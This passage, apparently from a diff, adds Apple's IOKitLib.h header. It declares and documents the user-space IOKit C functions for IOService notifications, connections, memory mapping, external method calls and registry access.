kIOBusyInterest Delivered when the IOService changes its busy state to or from zero. The message argument contains the new busy state causing the notification. + @param callback A callback function called when the notification fires, with messageType and messageArgument for the state change. + @param refCon A reference constant for the callbacks use. + @param notification An object handle is returned on success, and should be released by the caller when the notification is to be destroyed. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceAddInterestNotification( + IONotificationPortRef notifyPort, + io_service_t service, + const io_name_t interestType, + IOServiceInterestCallback callback, + void * refCon, + io_object_t * notification ); + +/*! @function IOServiceMatchPropertyTable + @abstract Match an IOService objects with matching dictionary. + @discussion This function calls the matching method of an IOService object and returns the boolean result. + @param service The IOService object to match. + @param matching A CF dictionary containing matching information. IOKitLib can construct matching dictionaries for common criteria with helper functions such as IOServiceMatching, IOServiceNameMatching, IOBSDNameMatching, IOOpenFirmwarePathMatching. + @param matches The boolean result is returned. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceMatchPropertyTable( + io_service_t service, + CFDictionaryRef matching, + boolean_t * matches ); + +/*! @function IOServiceGetBusyState + @abstract Returns the busyState of an IOService. + @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. + @param service The IOService whose busyState to return. + @param busyState The busyState count is returned. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceGetBusyState( + io_service_t service, + uint32_t * busyState ); + +/*! @function IOServiceWaitQuiet + @abstract Wait for an IOService's busyState to be zero. + @discussion Blocks the caller until an IOService is non busy, see IOServiceGetBusyState. + @param service The IOService wait on. + @param waitTime Specifies a maximum time to wait. + @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ + +kern_return_t +IOServiceWaitQuiet( + io_service_t service, + mach_timespec_t * waitTime ); + +/*! @function IOKitGetBusyState + @abstract Returns the busyState of all IOServices. + @discussion Many activities in IOService are asynchronous. When registration, matching, or termination is in progress on an IOService, its busyState is increased by one. Change in busyState to or from zero also changes the IOService's provider's busyState by one, which means that an IOService is marked busy when any of the above activities is ocurring on it or any of its clients. IOKitGetBusyState returns the busy state of the root of the service plane which reflects the busy state of all IOServices. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param busyState The busyState count is returned. + @result A kern_return_t error code. */ + +kern_return_t +IOKitGetBusyState( + mach_port_t masterPort, + uint32_t * busyState ); + +/*! @function IOKitWaitQuiet + @abstract Wait for a all IOServices' busyState to be zero. + @discussion Blocks the caller until all IOServices are non busy, see IOKitGetBusyState. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param waitTime Specifies a maximum time to wait. + @result Returns an error code if mach synchronization primitives fail, kIOReturnTimeout, or kIOReturnSuccess. */ + +kern_return_t +IOKitWaitQuiet( + mach_port_t masterPort, + mach_timespec_t * waitTime ); + +/*! @function IOServiceOpen + @abstract A request to create a connection to an IOService. + @discussion A non kernel client may request a connection be opened via the IOServiceOpen() library function, which will call IOService::newUserClient in the kernel. The rules & capabilities of user level clients are family dependent, the default IOService implementation returns kIOReturnUnsupported. + @param service The IOService object to open a connection to, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. + @param owningTask The mach task requesting the connection. + @param type A constant specifying the type of connection to be created, interpreted only by the IOService's family. + @param connect An io_connect_t handle is returned on success, to be used with the IOConnectXXX APIs. It should be destroyed with IOServiceClose(). + @result A return code generated by IOService::newUserClient. */ + +kern_return_t +IOServiceOpen( + io_service_t service, + task_port_t owningTask, + uint32_t type, + io_connect_t * connect ); + +/*! @function IOServiceRequestProbe + @abstract A request to rescan a bus for device changes. + @discussion A non kernel client may request a bus or controller rescan for added or removed devices, if the bus family does automatically notice such changes. For example, SCSI bus controllers do not notice device changes. The implementation of this routine is family dependent, and the default IOService implementation returns kIOReturnUnsupported. + @param service The IOService object to request a rescan, usually obtained via the IOServiceGetMatchingServices or IOServiceAddNotification APIs. + @param options An options mask, interpreted only by the IOService's family. + @result A return code generated by IOService::requestProbe. */ + +kern_return_t +IOServiceRequestProbe( + io_service_t service, + uint32_t options ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IOService connection + */ + +/*! @function IOServiceClose + @abstract Close a connection to an IOService and destroy the connect handle. + @discussion A connection created with the IOServiceOpen should be closed when the connection is no longer to be used with IOServiceClose. + @param connect The connect handle created by IOServiceOpen. It will be destroyed by this function, and should not be released with IOObjectRelease. + @result A kern_return_t error code. */ + +kern_return_t +IOServiceClose( + io_connect_t connect ); + +/*! @function IOConnectAddRef + @abstract Adds a reference to the connect handle. + @discussion Adds a reference to the connect handle. + @param connect The connect handle created by IOServiceOpen. + @result A kern_return_t error code. */ + +kern_return_t +IOConnectAddRef( + io_connect_t connect ); + +/*! @function IOConnectRelease + @abstract Remove a reference to the connect handle. + @discussion Removes a reference to the connect handle. If the last reference is removed an implicit IOServiceClose is performed. + @param connect The connect handle created by IOServiceOpen. + @result A kern_return_t error code. */ + +kern_return_t +IOConnectRelease( + io_connect_t connect ); + +/*! @function IOConnectGetService + @abstract Returns the IOService a connect handle was opened on. + @discussion Finds the service object a connection was opened on. + @param connect The connect handle created by IOServiceOpen. + @param service On succes, the service handle the connection was opened on, which should be released with IOObjectRelease. + @result A kern_return_t error code. */ + +kern_return_t +IOConnectGetService( + io_connect_t connect, + io_service_t * service ); + +/*! @function IOConnectSetNotificationPort + @abstract Set a port to receive family specific notifications. + @discussion This is a generic method to pass a mach port send right to be be used by family specific notifications. + @param connect The connect handle created by IOServiceOpen. + @param type The type of notification requested, not interpreted by IOKit and family defined. + @param port The port to which to send notifications. + @param reference Some families may support passing a reference parameter for the callers use with the notification. + @result A kern_return_t error code. */ + +kern_return_t +IOConnectSetNotificationPort( + io_connect_t connect, + uint32_t type, + mach_port_t port, + uintptr_t reference ); + +/*! @function IOConnectMapMemory + @abstract Map hardware or shared memory into the caller's task. + @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller. + @param connect The connect handle created by IOServiceOpen. + @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings. + @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection. + @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess. + @param ofSize The size of the mapping created is passed back on success. + @result A kern_return_t error code. */ + +#if !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) + +kern_return_t +IOConnectMapMemory( + io_connect_t connect, + uint32_t memoryType, + task_port_t intoTask, + vm_address_t *atAddress, + vm_size_t *ofSize, + IOOptionBits options ); + +#else + +kern_return_t +IOConnectMapMemory( + io_connect_t connect, + uint32_t memoryType, + task_port_t intoTask, + mach_vm_address_t *atAddress, + mach_vm_size_t *ofSize, + IOOptionBits options ); + +#endif /* !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) */ + + +/*! @function IOConnectMapMemory64 + @abstract Map hardware or shared memory into the caller's task. + @discussion This is a generic method to create a mapping in the callers task. The family will interpret the type parameter to determine what sort of mapping is being requested. Cache modes and placed mappings may be requested by the caller. + @param connect The connect handle created by IOServiceOpen. + @param memoryType What is being requested to be mapped, not interpreted by IOKit and family defined. The family may support physical hardware or shared memory mappings. + @param intoTask The task port for the task in which to create the mapping. This may be different to the task which the opened the connection. + @param atAddress An in/out parameter - if the kIOMapAnywhere option is not set, the caller should pass the address where it requests the mapping be created, otherwise nothing need to set on input. The address of the mapping created is passed back on sucess. + @param ofSize The size of the mapping created is passed back on success. + @result A kern_return_t error code. */ + +kern_return_t IOConnectMapMemory64( + io_connect_t connect, + uint32_t memoryType, + task_port_t intoTask, + mach_vm_address_t *atAddress, + mach_vm_size_t *ofSize, + IOOptionBits options ); + +/*! @function IOConnectUnmapMemory + @abstract Remove a mapping made with IOConnectMapMemory. + @discussion This is a generic method to remove a mapping in the callers task. + @param connect The connect handle created by IOServiceOpen. + @param memoryType The memory type originally requested in IOConnectMapMemory. + @param intoTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection. + @param atAddress The address of the mapping to be removed. + @result A kern_return_t error code. */ + +#if !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) + +kern_return_t +IOConnectUnmapMemory( + io_connect_t connect, + uint32_t memoryType, + task_port_t fromTask, + vm_address_t atAddress ); + +#else + +kern_return_t +IOConnectUnmapMemory( + io_connect_t connect, + uint32_t memoryType, + task_port_t fromTask, + mach_vm_address_t atAddress ); + + +#endif /* !__LP64__ || defined(IOCONNECT_MAPMEMORY_10_6) */ + +/*! @function IOConnectUnmapMemory64 + @abstract Remove a mapping made with IOConnectMapMemory64. + @discussion This is a generic method to remove a mapping in the callers task. + @param connect The connect handle created by IOServiceOpen. + @param memoryType The memory type originally requested in IOConnectMapMemory. + @param intoTask The task port for the task in which to remove the mapping. This may be different to the task which the opened the connection. + @param atAddress The address of the mapping to be removed. + @result A kern_return_t error code. */ + +kern_return_t IOConnectUnmapMemory64( + io_connect_t connect, + uint32_t memoryType, + task_port_t fromTask, + mach_vm_address_t atAddress ); + + +/*! @function IOConnectSetCFProperties + @abstract Set CF container based properties on a connection. + @discussion This is a generic method to pass a CF container of properties to the connection. The properties are interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. + @param connect The connect handle created by IOServiceOpen. + @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. + @result A kern_return_t error code returned by the family. */ + +kern_return_t +IOConnectSetCFProperties( + io_connect_t connect, + CFTypeRef properties ); + +/*! @function IOConnectSetCFProperty + @abstract Set a CF container based property on a connection. + @discussion This is a generic method to pass a CF property to the connection. The property is interpreted by the family and commonly represent configuration settings, but may be interpreted as anything. + @param connect The connect handle created by IOServiceOpen. + @param propertyName The name of the property as a CFString. + @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. + @result A kern_return_t error code returned by the object. */ + +kern_return_t +IOConnectSetCFProperty( + io_connect_t connect, + CFStringRef propertyName, + CFTypeRef property ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +// Combined LP64 & ILP32 Extended IOUserClient::externalMethod + +kern_return_t +IOConnectCallMethod( + mach_port_t connection, // In + uint32_t selector, // In + const uint64_t *input, // In + uint32_t inputCnt, // In + const void *inputStruct, // In + size_t inputStructCnt, // In + uint64_t *output, // Out + uint32_t *outputCnt, // In/Out + void *outputStruct, // Out + size_t *outputStructCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +kern_return_t +IOConnectCallAsyncMethod( + mach_port_t connection, // In + uint32_t selector, // In + mach_port_t wake_port, // In + uint64_t *reference, // In + uint32_t referenceCnt, // In + const uint64_t *input, // In + uint32_t inputCnt, // In + const void *inputStruct, // In + size_t inputStructCnt, // In + uint64_t *output, // Out + uint32_t *outputCnt, // In/Out + void *outputStruct, // Out + size_t *outputStructCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +kern_return_t +IOConnectCallStructMethod( + mach_port_t connection, // In + uint32_t selector, // In + const void *inputStruct, // In + size_t inputStructCnt, // In + void *outputStruct, // Out + size_t *outputStructCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +kern_return_t +IOConnectCallAsyncStructMethod( + mach_port_t connection, // In + uint32_t selector, // In + mach_port_t wake_port, // In + uint64_t *reference, // In + uint32_t referenceCnt, // In + const void *inputStruct, // In + size_t inputStructCnt, // In + void *outputStruct, // Out + size_t *outputStructCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +kern_return_t +IOConnectCallScalarMethod( + mach_port_t connection, // In + uint32_t selector, // In + const uint64_t *input, // In + uint32_t inputCnt, // In + uint64_t *output, // Out + uint32_t *outputCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +kern_return_t +IOConnectCallAsyncScalarMethod( + mach_port_t connection, // In + uint32_t selector, // In + mach_port_t wake_port, // In + uint64_t *reference, // In + uint32_t referenceCnt, // In + const uint64_t *input, // In + uint32_t inputCnt, // In + uint64_t *output, // Out + uint32_t *outputCnt) // In/Out +AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER; + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +kern_return_t +IOConnectTrap0(io_connect_t connect, + uint32_t index ); + +kern_return_t +IOConnectTrap1(io_connect_t connect, + uint32_t index, + uintptr_t p1 ); + +kern_return_t +IOConnectTrap2(io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2); + +kern_return_t +IOConnectTrap3(io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3); + +kern_return_t +IOConnectTrap4(io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4); + +kern_return_t +IOConnectTrap5(io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4, + uintptr_t p5); + +kern_return_t +IOConnectTrap6(io_connect_t connect, + uint32_t index, + uintptr_t p1, + uintptr_t p2, + uintptr_t p3, + uintptr_t p4, + uintptr_t p5, + uintptr_t p6); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/*! @function IOConnectAddClient + @abstract Inform a connection of a second connection. + @discussion This is a generic method to inform a family connection of a second connection, and is rarely used. + @param connect The connect handle created by IOServiceOpen. + @param client Another connect handle created by IOServiceOpen. + @result A kern_return_t error code returned by the family. */ + +kern_return_t +IOConnectAddClient( + io_connect_t connect, + io_connect_t client ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IORegistry accessors + */ + +/*! @function IORegistryGetRootEntry + @abstract Return a handle to the registry root. + @discussion This method provides an accessor to the root of the registry for the machine. The root may be passed to a registry iterator when iterating a plane, and contains properties that describe the available planes, and diagnostic information for IOKit. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @result A handle to the IORegistryEntry root instance, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ + +io_registry_entry_t +IORegistryGetRootEntry( + mach_port_t masterPort ); + +/*! @function IORegistryEntryFromPath + @abstract Looks up a registry entry by path. + @discussion This function parses paths to lookup registry entries. The path should begin with ':' If there are characters remaining unparsed after an entry has been looked up, this is considered an invalid lookup. Paths are further documented in IORegistryEntry.h + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param path A C-string path. + @result A handle to the IORegistryEntry witch was found with the path, to be released with IOObjectRelease by the caller, or MACH_PORT_NULL on failure. */ + +io_registry_entry_t +IORegistryEntryFromPath( + mach_port_t masterPort, + const io_string_t path ); + +// options for IORegistryCreateIterator(), IORegistryEntryCreateIterator, IORegistryEntrySearchCFProperty() +enum { + kIORegistryIterateRecursively = 0x00000001, + kIORegistryIterateParents = 0x00000002 +}; + +/*! @function IORegistryCreateIterator + @abstract Create an iterator rooted at the registry root. + @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children of the registry root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. + @param iterator A created iterator handle, to be released by the caller when it has finished with it. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryCreateIterator( + mach_port_t masterPort, + const io_name_t plane, + IOOptionBits options, + io_iterator_t * iterator ); + +/*! @function IORegistryEntryCreateIterator + @abstract Create an iterator rooted at a given registry entry. + @discussion This method creates an IORegistryIterator in the kernel that is set up with options to iterate children or parents of a root entry, and to recurse automatically into entries as they are returned, or only when instructed with calls to IORegistryIteratorEnterEntry. The iterator object keeps track of entries that have been recursed into previously to avoid loops. + @param entry The root entry to begin the iteration at. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param options kIORegistryIterateRecursively may be set to recurse automatically into each entry as it is returned from IOIteratorNext calls on the registry iterator. kIORegistryIterateParents may be set to iterate the parents of each entry, by default the children are iterated. + @param iterator A created iterator handle, to be released by the caller when it has finished with it. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryCreateIterator( + io_registry_entry_t entry, + const io_name_t plane, + IOOptionBits options, + io_iterator_t * iterator ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IORegistryIterator, subclass of IOIterator + */ + +/*! @function IORegistryIteratorEnterEntry + @abstract Recurse into the current entry in the registry iteration. + @discussion This method makes the current entry, ie. the last entry returned by IOIteratorNext, the root in a new level of recursion. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryIteratorEnterEntry( + io_iterator_t iterator ); + +/*! @function IORegistryIteratorExitEntry + @abstract Exits a level of recursion, restoring the current entry. + @discussion This method undoes an IORegistryIteratorEnterEntry, restoring the current entry. If there are no more levels of recursion to exit false is returned, otherwise true is returned. + @result kIOReturnSuccess if a level of recursion was undone, kIOReturnNoDevice if no recursive levels are left in the iteration. */ + +kern_return_t +IORegistryIteratorExitEntry( + io_iterator_t iterator ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * IORegistryEntry, subclass of IOObject + */ + +/*! @function IORegistryEntryGetName + @abstract Returns a C-string name assigned to a registry entry. + @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's global name. The global name defaults to the entry's meta class name if it has not been named. + @param entry The registry entry handle whose name to look up. + @param name The caller's buffer to receive the name. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetName( + io_registry_entry_t entry, + io_name_t name ); + +/*! @function IORegistryEntryGetNameInPlane + @abstract Returns a C-string name assigned to a registry entry, in a specified plane. + @discussion Registry entries can be named in a particular plane, or globally. This function returns the entry's name in the specified plane or global name if it has not been named in that plane. The global name defaults to the entry's meta class name if it has not been named. + @param entry The registry entry handle whose name to look up. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param name The caller's buffer to receive the name. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetNameInPlane( + io_registry_entry_t entry, + const io_name_t plane, + io_name_t name ); + +/*! @function IORegistryEntryGetLocationInPlane + @abstract Returns a C-string location assigned to a registry entry, in a specified plane. + @discussion Registry entries can given a location string in a particular plane, or globally. If the entry has had a location set in the specified plane that location string will be returned, otherwise the global location string is returned. If no global location string has been set, an error is returned. + @param entry The registry entry handle whose name to look up. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param location The caller's buffer to receive the location string. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetLocationInPlane( + io_registry_entry_t entry, + const io_name_t plane, + io_name_t location ); + +/*! @function IORegistryEntryGetPath + @abstract Create a path for a registry entry. + @discussion The path for a registry entry is copied to the caller's buffer. The path describes the entry's attachment in a particular plane, which must be specified. The path begins with the plane name followed by a colon, and then followed by '/' separated path components for each of the entries between the root and the registry entry. An alias may also exist for the entry, and will be returned if available. + @param entry The registry entry handle whose path to look up. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param path A char buffer allocated by the caller. + @result IORegistryEntryGetPath will fail if the entry is not attached in the plane, or if the buffer is not large enough to contain the path. */ + +kern_return_t +IORegistryEntryGetPath( + io_registry_entry_t entry, + const io_name_t plane, + io_string_t path ); + +/*! @function IORegistryEntryGetRegistryEntryID + @abstract Returns an ID for the registry entry that is global to all tasks. + @discussion The entry ID returned by IORegistryEntryGetRegistryEntryID can be used to identify a registry entry across all tasks. A registry entry may be looked up by its entryID by creating a matching dictionary with IORegistryEntryIDMatching() to be used with the IOKit matching functions. The ID is valid only until the machine reboots. + @param entry The registry entry handle whose ID to look up. + @param entryID The resulting ID. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetRegistryEntryID( + io_registry_entry_t entry, + uint64_t * entryID ); + +/*! @function IORegistryEntryCreateCFProperties + @abstract Create a CF dictionary representation of a registry entry's property table. + @discussion This function creates an instantaneous snapshot of a registry entry's property table, creating a CFDictionary analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. + @param entry The registry entry handle whose property table to copy. + @param properties A CFDictionary is created and returned the caller on success. The caller should release with CFRelease. + @param allocator The CF allocator to use when creating the CF containers. + @param options No options are currently defined. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryCreateCFProperties( + io_registry_entry_t entry, + CFMutableDictionaryRef * properties, + CFAllocatorRef allocator, + IOOptionBits options ); + +/*! @function IORegistryEntryCreateCFProperty + @abstract Create a CF representation of a registry entry's property. + @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. + @param entry The registry entry handle whose property to copy. + @param key A CFString specifying the property name. + @param allocator The CF allocator to use when creating the CF container. + @param options No options are currently defined. + @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ + +CFTypeRef +IORegistryEntryCreateCFProperty( + io_registry_entry_t entry, + CFStringRef key, + CFAllocatorRef allocator, + IOOptionBits options ); + +/*! @function IORegistryEntrySearchCFProperty + @abstract Create a CF representation of a registry entry's property. + @discussion This function creates an instantaneous snapshot of a registry entry property, creating a CF container analogue in the caller's task. Not every object available in the kernel is represented as a CF container; currently OSDictionary, OSArray, OSSet, OSSymbol, OSString, OSData, OSNumber, OSBoolean are created as their CF counterparts. +This function will search for a property, starting first with specified registry entry's property table, then iterating recusively through either the parent registry entries or the child registry entries of this entry. Once the first occurrence is found, it will lookup and return the value of the property, using the same semantics as IORegistryEntryCreateCFProperty. The iteration keeps track of entries that have been recursed into previously to avoid loops. + @param entry The registry entry at which to start the search. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param key A CFString specifying the property name. + @param allocator The CF allocator to use when creating the CF container. + @param options kIORegistryIterateRecursively may be set to recurse automatically into the registry hierarchy. Without this option, this method degenerates into the standard IORegistryEntryCreateCFProperty() call. kIORegistryIterateParents may be set to iterate the parents of the entry, in place of the children. + @result A CF container is created and returned the caller on success. The caller should release with CFRelease. */ + +CFTypeRef +IORegistryEntrySearchCFProperty( + io_registry_entry_t entry, + const io_name_t plane, + CFStringRef key, + CFAllocatorRef allocator, + IOOptionBits options ); + +/* @function IORegistryEntryGetProperty - deprecated, + use IORegistryEntryCreateCFProperty */ + +kern_return_t +IORegistryEntryGetProperty( + io_registry_entry_t entry, + const io_name_t propertyName, + io_struct_inband_t buffer, + uint32_t * size ); + +/*! @function IORegistryEntrySetCFProperties + @abstract Set CF container based properties in a registry entry. + @discussion This is a generic method to pass a CF container of properties to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperties for connection based property setting. The properties are interpreted by the object. + @param entry The registry entry whose properties to set. + @param properties A CF container - commonly a CFDictionary but this is not enforced. The container should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. + @result A kern_return_t error code returned by the object. */ + +kern_return_t +IORegistryEntrySetCFProperties( + io_registry_entry_t entry, + CFTypeRef properties ); + +/*! @function IORegistryEntrySetCFProperty + @abstract Set a CF container based property in a registry entry. + @discussion This is a generic method to pass a CF container as a property to an object in the registry. Setting properties in a registry entry is not generally supported, it is more common to support IOConnectSetCFProperty for connection based property setting. The property is interpreted by the object. + @param entry The registry entry whose property to set. + @param propertyName The name of the property as a CFString. + @param property A CF container - should consist of objects which are understood by IOKit - these are currently : CFDictionary, CFArray, CFSet, CFString, CFData, CFNumber, CFBoolean, and are passed in the kernel as the corresponding OSDictionary etc. objects. + @result A kern_return_t error code returned by the object. */ + +kern_return_t +IORegistryEntrySetCFProperty( + io_registry_entry_t entry, + CFStringRef propertyName, + CFTypeRef property ); + +/*! @function IORegistryEntryGetChildIterator + @abstract Returns an iterator over an registry entry's child entries in a plane. + @discussion This method creates an iterator which will return each of a registry entry's child entries in a specified plane. + @param entry The registry entry whose children to iterate over. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param iterator The created iterator over the children of the entry, on success. The iterator must be released when the iteration is finished. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetChildIterator( + io_registry_entry_t entry, + const io_name_t plane, + io_iterator_t * iterator ); + +/*! @function IORegistryEntryGetChildEntry + @abstract Returns the first child of a registry entry in a plane. + @discussion This function will return the child which first attached to a registry entry in a plane. + @param entry The registry entry whose child to look up. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param child The first child of the registry entry, on success. The child must be released by the caller. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetChildEntry( + io_registry_entry_t entry, + const io_name_t plane, + io_registry_entry_t * child ); + +/*! @function IORegistryEntryGetParentIterator + @abstract Returns an iterator over an registry entry's parent entries in a plane. + @discussion This method creates an iterator which will return each of a registry entry's parent entries in a specified plane. + @param entry The registry entry whose parents to iterate over. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param iterator The created iterator over the parents of the entry, on success. The iterator must be released when the iteration is finished. + @result A kern_return_t error. */ + +kern_return_t +IORegistryEntryGetParentIterator( + io_registry_entry_t entry, + const io_name_t plane, + io_iterator_t * iterator ); + +/*! @function IORegistryEntryGetParentEntry + @abstract Returns the first parent of a registry entry in a plane. + @discussion This function will return the parent to which the registry entry was first attached in a plane. + @param entry The registry entry whose parent to look up. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @param child The first parent of the registry entry, on success. The parent must be released by the caller. + @result A kern_return_t error code. */ + +kern_return_t +IORegistryEntryGetParentEntry( + io_registry_entry_t entry, + const io_name_t plane, + io_registry_entry_t * parent ); + +/*! @function IORegistryEntryInPlane + @abstract Determines if the registry entry is attached in a plane. + @discussion This method determines if the entry is attached in a plane to any other entry. + @param entry The registry entry. + @param plane The name of an existing registry plane. Plane names are defined in IOKitKeys.h, eg. kIOServicePlane. + @result If the entry has a parent in the plane, true is returned, otherwise false is returned. */ + +boolean_t +IORegistryEntryInPlane( + io_registry_entry_t entry, + const io_name_t plane ); + +/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ + +/* + * Matching dictionary creation helpers + */ + +/*! @function IOServiceMatching + @abstract Create a matching dictionary that specifies an IOService class match. + @discussion A very common matching criteria for IOService is based on its class. IOServiceMatching will create a matching dictionary that specifies any IOService of a class, or its subclasses. The class is specified by C-string name. + @param name The class name, as a const C-string. Class matching is successful on IOService's of this class or any subclass. + @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ + +CFMutableDictionaryRef +IOServiceMatching( + const char * name ); + +/*! @function IOServiceNameMatching + @abstract Create a matching dictionary that specifies an IOService name match. + @discussion A common matching criteria for IOService is based on its name. IOServiceNameMatching will create a matching dictionary that specifies an IOService with a given name. Some IOServices created from the OpenFirmware device tree will perform name matching on the standard OF compatible, name, model properties. + @param name The IOService name, as a const C-string. + @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ + +CFMutableDictionaryRef +IOServiceNameMatching( + const char * name ); + +/*! @function IOBSDNameMatching + @abstract Create a matching dictionary that specifies an IOService match based on BSD device name. + @discussion IOServices that represent BSD devices have an associated BSD name. This function creates a matching dictionary that will match IOService's with a given BSD name. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param options No options are currently defined. + @param bsdName The BSD name, as a const char *. + @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to IOServiceGetMatchingServices or IOServiceAddNotification which will consume a reference, otherwise it should be released with CFRelease by the caller. */ + +CFMutableDictionaryRef +IOBSDNameMatching( + mach_port_t masterPort, + uint32_t options, + const char * bsdName ); + +/*! @function IOOpenFirmwarePathMatching + @abstract Create a matching dictionary that specifies an IOService match based on an OpenFirmware device path. + @discussion Certain IOServices (currently, block and ethernet boot devices) may be looked up by a path that specifies their location in the OpenFirmware device tree, represented in the registry by the kIODeviceTreePlane plane. This function creates a matching dictionary that will match IOService's found with a given OpenFirmware device path. + @param masterPort The master port obtained from IOMasterPort(). Pass kIOMasterPortDefault to look up the default master port. + @param options No options are currently defined. + @param path The OpenFirmware device path, as a const char *. + @result The matching dictionary created, is returned on success, or zero on failure. The dictionary is commonly passed to 